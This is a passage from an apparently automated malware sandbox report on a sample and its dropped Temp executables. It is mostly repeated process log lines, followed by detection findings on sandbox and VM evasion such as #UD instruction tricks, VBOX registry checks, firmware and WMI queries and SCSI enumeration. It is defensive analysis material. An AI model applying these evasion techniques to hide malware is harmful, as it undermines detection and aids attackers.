Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Tries to evade analysis by execution special instruction which cause usermode exception

Show sources

Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Special instruction interceptor: First address: 0000000001440920 instructions 0F0B caused by: Known instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Special instruction interceptor: First address: 0000000000C755F6 instructions 0F3F070BC745FCFFFFFFFF33C033D2 caused by: Unknown instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Special instruction interceptor: First address: 0000000000C757EA instructions 0F0B caused by: Known instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Special instruction interceptor: First address: 0000000000C7D7BE instructions 0F3F070BC745FCFFFFFFFF33C033D2 caused by: Unknown instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Special instruction interceptor: First address: 0000000000C7C7DB instructions 0F0B caused by: Known instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Special instruction interceptor: First address: 0000000000C7F742 instructions 0F0B caused by: Known instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Special instruction interceptor: First address: 0000000000C84E30 instructions 0F0B caused by: Known instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Special instruction interceptor: First address: 00000000014441E8 instructions 0F0B caused by: Known instruction #UD exception

Query firmware table information (likely to detect VMs)

Show sources

Source: C:\Users\user\AppData\Local\Temp\8CA5.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Show sources

Source: C:\Users\user\AppData\Local\Temp\8CA5.exe

File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: H4HU4rg1NM.exe, 00000003.00000002.338133899.0000000001F30000.00000004.00000001.sdmp, 325D.exe, 00000017.00000002.415253560.000000000065B000.00000004.00000020.sdmp

Binary or memory string: ASWHOOK

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Show sources

Source: C:\Users\user\AppData\Local\Temp\110B.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Checks if the current machine is a virtual machine (disk enumeration)

Show sources

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\iudbdfd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\iudbdfd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\iudbdfd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
